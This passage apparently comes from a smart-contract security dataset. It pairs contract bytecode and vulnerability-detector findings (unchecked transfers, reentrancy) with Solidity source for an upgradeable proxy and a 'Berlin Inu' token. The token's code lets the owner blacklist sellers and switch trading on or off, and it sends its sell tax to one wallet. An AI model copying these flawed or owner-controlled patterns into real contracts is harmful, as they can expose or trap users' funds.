681526020019081526020016000205460048681548110610d8c57fe5b600091825260209091206003909102015490611b62565b90611bbb565b8390611bfd565b915080610dbc57610dc5565b60001901610d0b565b505b600454600019015b610e02600a5460048381548110610de257fe5b906000526020600020906003020160010154611bfd90919063ffffffff16565b421015610e6d576000610e1b60048381548110610d4457fe5b9050610e4a600a54610da3610e4342610e3d600a5460048981548110610de257fe5b90611b17565b8490611b62565b9050610e568382611b17565b925081610e635750610e6d565b5060001901610dcf565b505b9392505050565b600b5460ff1681565b600e546001600160a01b031681565b610e97336119bd565b6000610ea233610cd3565b33600090815260016020526040902054909150610ebf9082611b17565b33600081815260016020526040902091909155600754610eeb916001600160a01b039091169083611ac5565b50565b600d5481565b600f546001600160a01b03163314610f41576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600980546001600160a01b0319166001600160a01b0392909216919091179055565b600f546001600160a01b03163314610fb0576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600880546001600160a01b0319166001600160a01b0392909216919091179055565b60048181548110610fe257600080fd5b600091825260209091206003909102018054600182015460029092015490925083565b600f546001600160a01b03163314611052576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600f80546001600160a01b0319166001600160a01b0392909216919091179055565b60016020526000908152604090205481565b61108f336119bd565b600061109a33610cd3565b9050808211156110a8578091505b336000908152600160205260409020546110c29083611b17565b3360008181526001602052604090209190915560075461099d916001600160a01b039091169084611ac5565b600a5481565b6110fd336119bd565b600954600090611127906103e890610da390859063ffffffff600160a01b909104811690611b6216565b905060006111358383611b17565b9050811561115c5760085460065461115c916001600160a01b039182169133911685611c57565b80156111f257600954600654611181916001600160a01b039182169133911684611c57565b3360009081526002602052604090205461119b9082611bfd565b336000908152600260205260409020556003546111b89082611bfd565b60035560408051828152905133917f2da466a7b24304f47e87fa2e1e5a81b9831ce54fec19055ce277ca2f39ba42c4919081900360200190a25b505050565b600f546001600160a01b03163314611244576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600780546001600160a01b0319166001600160a01b0392909216919091179055565b60035481565b600f546001600160a01b031633146112b9576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b6009805463ffffffff909216600160a01b0263ffffffff60a01b19909216919091179055565b600754604080516370a0823160e01b815230600482015290516000926001600160a01b0316916370a08231916024808301926020929190829003018186803b1580156109fb57600080fd5b600f546001600160a01b03163314611377576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600680546001600160a01b0319166001600160a01b0392909216919091179055565b600081116113df576040805162461bcd60e51b815260206004820152600e60248201526d063616e27742072657761726420360941b604482015290519081900360640190fd5b600060035411611436576040805162461bcd60e51b815260206004820152601f60248201527f746f74616c4465706f736974206d75737420626967676572207468616e203000604482015290519081900360640190fd5b6000611453600c54610da3600d5485611b6290919063ffffffff16565b905061145f8282611b17565b60075490925061147a906001600160a01b0316333084611c57565b600e54600754611499916001600160a01b039182169133911685611c57565b6114a1612028565b50604080516060810182528281524260208083019182526003805484860190815260048054600181018255600091909152855192027f8a35acfbc15ff81a39ae7d344fd709f28e8600b4aa8c65c6b64bfe7fe36bd19b81019290925592517f8a35acfbc15ff81a39ae7d344fd709f28e8600b4aa8c65c6b64bfe7fe36bd19c82015591517f8a35acfbc15ff81a39ae7d344fd709f28e8600b4aa8c65c6b64bfe7fe36bd19d909201919091558251848152925191927feae918ad14bd0bcaa9f9d22da2b810c02f44331bf6004a76f049a3360891f916929081900390910190a1505050565b600f546001600160a01b031633146115d3576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600b805460ff1916911515919091179055565b6007546001600160a01b031681565b600f546001600160a01b03163314611642576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b63ffffffff16600a55565b60105481565b60026020526000908152604090205481565b600f546001600160a01b031633146116b2576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600e80546001600160a01b0319166001600160a01b0392909216919091179055565b6005805460408051602060026001851615610100026000190190941693909304601f8101849004840282018401909252818152929183018282801561175a5780601f1061172f5761010080835404028352916020019161175a565b820191906000526020600020905b81548152906001019060200180831161173d57829003601f168201915b505050505081565b600f546001600160a01b031633146117af576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b6006546001600160a01b038381169116148015906117db57506007546001600160a01b03838116911614155b61181a576040805162461bcd60e51b815260206004820152600b60248201526a6d61696e20746f6b656e7360a81b604482015290519081900360640190fd5b6001600160a01b0382161561192d576000826001600160a01b03166370a08231306040518263ffffffff1660e01b815260040180826001600160a01b0316815260200191505060206040518083038186803b15801561187857600080fd5b505afa15801561188c573d6000803e3d6000fd5b505050506040513d60208110156118a257600080fd5b50516040805163a9059cbb60e01b81526001600160a01b0385811660048301526024820184905291519293509085169163a9059cbb916044808201926020929091908290030181600087803b1580156118fa57600080fd5b505af115801561190e573d6000803e3d6000fd5b505050506040513d602081101561192457600080fd5b5061099d915050565b60405147906001600160a01b0383169082156108fc029083906000818181858888f19350505050158015611965573d6000803e3d6000fd5b50505050565b600f546001600160a01b031633146119b8576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600c55565b6001600160a01b0381166000908152602081815260408083205460019092529091205481158015906119f0575060045415155b15611a9557600454600019015b60048181548110611a0a57fe5b906000526020600020906003020160010154831015611a9357611a7e610da960048381548110611a3657fe5b906000526020600020906003020160020154610da360026000896001600160a01b03166001600160a01b031681526020019081526020016000205460048681548110610d8c57fe5b915080611a8a57611a93565b600019016119fd565b505b6001600160a01b039092166000908152600160209081526040808320949094553382528190529190912042905550565b604080516001600160a01b038416602482015260448082018490528251808303909101815260649091019091526020810180516001600160e01b031663a9059cbb60e01b1790526111f2908490611cad565b6000611b5983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611e64565b90505b92915050565b600082611b7157506000611b5c565b82820282848281611b7e57fe5b0414611b595760405162461bcd60e51b815260040180806020018281038252602181526020018061205f6021913960400191505060405180910390fd5b6000611b5983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611efb565b600082820183811015611b59576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b604080516001600160a01b0380861660248301528416604482015260648082018490528251808303909101815260849091019091526020810180516001600160e01b03166323b872dd60e01b1790526119659085905b611cbf826001600160a01b0316611f60565b611d10576040805162461bcd60e51b815260206004820152601f60248201527f5361666545524332303a2063616c6c20746f206e6f6e2d636f6e747261637400604482015290519081900360640190fd5b600080836001600160a01b0316836040518082805190602001908083835b60208310611d4d5780518252601f199092019160209182019101611d2e565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d8060008114611daf576040519150601f19603f3d011682016040523d82523d6000602084013e611db4565b606091505b509150915081611e0b576040805162461bcd60e51b815260206004820181905260248201527f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564604482015290519081900360640190fd5b80511561196557808060200190516020811015611e2757600080fd5b50516119655760405162461bcd60e51b815260040180806020018281038252602a815260200180612080602a913960400191505060405180910390fd5b60008184841115611ef35760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611eb8578181015183820152602001611ea0565b50505050905090810190601f168015611ee55780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b60008183611f4a5760405162461bcd60e51b8152602060048201818152835160248401528351909283926044909101919085019080838360008315611eb8578181015183820152602001611ea0565b506000838581611f5657fe5b0495945050505050565b6000813f7fc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a4708115801590611f945750808214155b949350505050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282611fd25760008555612018565b82601f10611feb57805160ff1916838001178555612018565b82800160010185558215612018579182015b82811115612018578251825591602001919060010190611ffd565b50612024929150612049565b5090565b60405180606001604052806000815260200160008152602001600081525090565b5b80821115612024576000815560010161204a56fe536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f775361666545524332303a204552433230206f7065726174696f6e20646964206e6f742073756363656564a264697066735822122042d613be6e3a02fe17c0d7be989a2adfbd1c498a58a82ef65db2b1803e6a571264736f6c63430007060033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
| 4,426 |
0x19a0420b98f9a34b2b9db3bcba35a6fffebb7add
|
/**
*Submitted for verification at Etherscan.io on 2021-04-10
*/
/**
*Submitted for verification at BscScan.com on 2021-03-08
*/
/**
*Submitted for verification at Etherscan.io on 2020-10-09
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.2;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
}
/**
* @title Proxy
* @dev Implements delegation of calls to other contracts, with proper
* forwarding of return values and bubbling of failures.
* It defines a fallback function that delegates all calls to the address
* returned by the abstract _implementation() internal function.
*/
abstract contract Proxy {
/**
* @dev Fallback function.
* Implemented entirely in `_fallback`.
*/
fallback () payable external {
_fallback();
}
/**
* @dev Receive function.
* Implemented entirely in `_fallback`.
*/
receive () payable external {
_fallback();
}
/**
* @return The Address of the implementation.
*/
function _implementation() internal virtual view returns (address);
/**
* @dev Delegates execution to an implementation contract.
* This is a low level function that doesn't return to its internal call site.
* It will return to the external caller whatever the implementation returns.
* @param implementation Address to delegate.
*/
function _delegate(address implementation) internal {
assembly {
// Copy msg.data. We take full control of memory in this inline assembly
// block because it will not return to Solidity code. We overwrite the
// Solidity scratch pad at memory position 0.
calldatacopy(0, 0, calldatasize())
// Call the implementation.
// out and outsize are 0 because we don't know the size yet.
let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)
// Copy the returned data.
returndatacopy(0, 0, returndatasize())
switch result
// delegatecall returns 0 on error.
case 0 { revert(0, returndatasize()) }
default { return(0, returndatasize()) }
}
}
/**
* @dev Function that is run as the first thing in the fallback function.
* Can be redefined in derived contracts to add functionality.
* Redefinitions must call super._willFallback().
*/
function _willFallback() internal virtual {
}
/**
* @dev fallback implementation.
* Extracted to enable manual triggering.
*/
function _fallback() internal {
_willFallback();
_delegate(_implementation());
}
}
/**
* @title UpgradeabilityProxy
* @dev This contract implements a proxy that allows to change the
* implementation address to which it will delegate.
* Such a change is called an implementation upgrade.
*/
contract UpgradeabilityProxy is Proxy {
/**
* @dev Contract constructor.
* @param _logic Address of the initial implementation.
* @param _data Data to send as msg.data to the implementation to initialize the proxied contract.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
* This parameter is optional, if no data is given the initialization call to proxied contract will be skipped.
*/
constructor(address _logic, bytes memory _data) public payable {
assert(IMPLEMENTATION_SLOT == bytes32(uint256(keccak256('eip1967.proxy.implementation')) - 1));
_setImplementation(_logic);
if(_data.length > 0) {
(bool success,) = _logic.delegatecall(_data);
require(success);
}
}
/**
* @dev Emitted when the implementation is upgraded.
* @param implementation Address of the new implementation.
*/
event Upgraded(address indexed implementation);
/**
* @dev Storage slot with the address of the current implementation.
* This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
/**
* @dev Returns the current implementation.
* @return impl Address of the current implementation
*/
function _implementation() internal override view returns (address impl) {
bytes32 slot = IMPLEMENTATION_SLOT;
assembly {
impl := sload(slot)
}
}
/**
* @dev Upgrades the proxy to a new implementation.
* @param newImplementation Address of the new implementation.
*/
function _upgradeTo(address newImplementation) internal {
_setImplementation(newImplementation);
emit Upgraded(newImplementation);
}
/**
* @dev Sets the implementation address of the proxy.
* @param newImplementation Address of the new implementation.
*/
function _setImplementation(address newImplementation) internal {
require(Address.isContract(newImplementation), "Cannot set a proxy implementation to a non-contract address");
bytes32 slot = IMPLEMENTATION_SLOT;
assembly {
sstore(slot, newImplementation)
}
}
}
/**
* @title AdminUpgradeabilityProxy
* @dev This contract combines an upgradeability proxy with an authorization
* mechanism for administrative tasks.
* All external functions in this contract must be guarded by the
* `ifAdmin` modifier. See ethereum/solidity#3864 for a Solidity
* feature proposal that would enable this to be done automatically.
*/
contract AdminUpgradeabilityProxy is UpgradeabilityProxy {
/**
* Contract constructor.
* @param _logic address of the initial implementation.
* @param _admin Address of the proxy administrator.
* @param _data Data to send as msg.data to the implementation to initialize the proxied contract.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
* This parameter is optional, if no data is given the initialization call to proxied contract will be skipped.
*/
constructor(address _logic, address _admin, bytes memory _data) UpgradeabilityProxy(_logic, _data) public payable {
assert(ADMIN_SLOT == bytes32(uint256(keccak256('eip1967.proxy.admin')) - 1));
_setAdmin(_admin);
}
/**
* @dev Emitted when the administration has been transferred.
* @param previousAdmin Address of the previous admin.
* @param newAdmin Address of the new admin.
*/
event AdminChanged(address previousAdmin, address newAdmin);
/**
* @dev Storage slot with the admin of the contract.
* This is the keccak-256 hash of "eip1967.proxy.admin" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103;
/**
* @dev Modifier to check whether the `msg.sender` is the admin.
* If it is, it will run the function. Otherwise, it will delegate the call
* to the implementation.
*/
modifier ifAdmin() {
if (msg.sender == _admin()) {
_;
} else {
_fallback();
}
}
/**
* @return The address of the proxy admin.
*/
function admin() external ifAdmin returns (address) {
return _admin();
}
/**
* @return The address of the implementation.
*/
function implementation() external ifAdmin returns (address) {
return _implementation();
}
/**
* @dev Changes the admin of the proxy.
* Only the current admin can call this function.
* @param newAdmin Address to transfer proxy administration to.
*/
function changeAdmin(address newAdmin) external ifAdmin {
require(newAdmin != address(0), "Cannot change the admin of a proxy to the zero address");
emit AdminChanged(_admin(), newAdmin);
_setAdmin(newAdmin);
}
/**
* @dev Upgrade the backing implementation of the proxy.
* Only the admin can call this function.
* @param newImplementation Address of the new implementation.
*/
function upgradeTo(address newImplementation) external ifAdmin {
_upgradeTo(newImplementation);
}
/**
* @dev Upgrade the backing implementation of the proxy and call a function
* on the new implementation.
* This is useful to initialize the proxied contract.
* @param newImplementation Address of the new implementation.
* @param data Data to send as msg.data in the low level call.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
*/
function upgradeToAndCall(address newImplementation, bytes calldata data) payable external ifAdmin {
_upgradeTo(newImplementation);
(bool success,) = newImplementation.delegatecall(data);
require(success);
}
/**
* @return adm The admin slot.
*/
function _admin() internal view returns (address adm) {
bytes32 slot = ADMIN_SLOT;
assembly {
adm := sload(slot)
}
}
/**
* @dev Sets the address of the proxy admin.
* @param newAdmin Address of the new proxy admin.
*/
function _setAdmin(address newAdmin) internal {
bytes32 slot = ADMIN_SLOT;
assembly {
sstore(slot, newAdmin)
}
}
/**
* @dev Only fall back when the sender is not the admin.
*/
function _willFallback() internal override virtual {
require(msg.sender != _admin(), "Cannot call fallback function from the proxy admin");
super._willFallback();
}
}
|
0x60806040526004361061004e5760003560e01c80633659cfe6146100655780634f1ef286146100985780635c60da1b146101185780638f28397014610149578063f851a4401461017c5761005d565b3661005d5761005b610191565b005b61005b610191565b34801561007157600080fd5b5061005b6004803603602081101561008857600080fd5b50356001600160a01b03166101ab565b61005b600480360360408110156100ae57600080fd5b6001600160a01b0382351691908101906040810160208201356401000000008111156100d957600080fd5b8201836020820111156100eb57600080fd5b8035906020019184600183028401116401000000008311171561010d57600080fd5b5090925090506101e5565b34801561012457600080fd5b5061012d610292565b604080516001600160a01b039092168252519081900360200190f35b34801561015557600080fd5b5061005b6004803603602081101561016c57600080fd5b50356001600160a01b03166102cf565b34801561018857600080fd5b5061012d610389565b6101996103ba565b6101a96101a461041a565b61043f565b565b6101b3610463565b6001600160a01b0316336001600160a01b031614156101da576101d581610488565b6101e2565b6101e2610191565b50565b6101ed610463565b6001600160a01b0316336001600160a01b031614156102855761020f83610488565b6000836001600160a01b031683836040518083838082843760405192019450600093509091505080830381855af49150503d806000811461026c576040519150601f19603f3d011682016040523d82523d6000602084013e610271565b606091505b505090508061027f57600080fd5b5061028d565b61028d610191565b505050565b600061029c610463565b6001600160a01b0316336001600160a01b031614156102c4576102bd61041a565b90506102cc565b6102cc610191565b90565b6102d7610463565b6001600160a01b0316336001600160a01b031614156101da576001600160a01b0381166103355760405162461bcd60e51b81526004018080602001828103825260368152602001806105876036913960400191505060405180910390fd5b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f61035e610463565b604080516001600160a01b03928316815291841660208301528051918290030190a16101d5816104c8565b6000610393610463565b6001600160a01b0316336001600160a01b031614156102c4576102bd610463565b3b151590565b6103c2610463565b6001600160a01b0316336001600160a01b031614156104125760405162461bcd60e51b81526004018080602001828103825260328152602001806105556032913960400191505060405180910390fd5b6101a96101a9565b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5490565b3660008037600080366000845af43d6000803e80801561045e573d6000f35b3d6000fd5b7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035490565b610491816104ec565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d610355565b6104f5816103b4565b6105305760405162461bcd60e51b815260040180806020018281038252603b8152602001806105bd603b913960400191505060405180910390fd5b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5556fe43616e6e6f742063616c6c2066616c6c6261636b2066756e6374696f6e2066726f6d207468652070726f78792061646d696e43616e6e6f74206368616e6765207468652061646d696e206f6620612070726f787920746f20746865207a65726f206164647265737343616e6e6f742073657420612070726f787920696d706c656d656e746174696f6e20746f2061206e6f6e2d636f6e74726163742061646472657373a2646970667358221220401c74d3e7f766707c9c2337d22314b5f19323083d6f9ef3755e9b0bbab43a3364736f6c634300060c0033
|
{"success": true, "error": null, "results": {}}
| 4,427 |
0x2d6b1c605d05ecb70af344412bfbde79c342a1b3
|
/**
*Submitted for verification at Etherscan.io on 2022-04-03
*/
/**
ELON TWEET
Berlin Rocks
https://twitter.com/elonmusk/status/1510711332366131209
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract BerlInu is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Berlin Inu";
string private constant _symbol = "BERLINU";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 0;
uint256 private _taxFeeOnBuy = 0;
uint256 private _redisFeeOnSell = 0;
uint256 private _taxFeeOnSell = 12;
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots; mapping (address => uint256) public _buyMap;
address payable private _developmentAddress = payable(0x2767c49FeD4ADCF7f37E04532721Ff2fc14a5A17);
address payable private _marketingAddress = payable(0x2767c49FeD4ADCF7f37E04532721Ff2fc14a5A17);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 1000000000 * 10**9;
uint256 public _maxWalletSize = 20000000 * 10**9;
uint256 public _swapTokensAtAmount = 10000000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
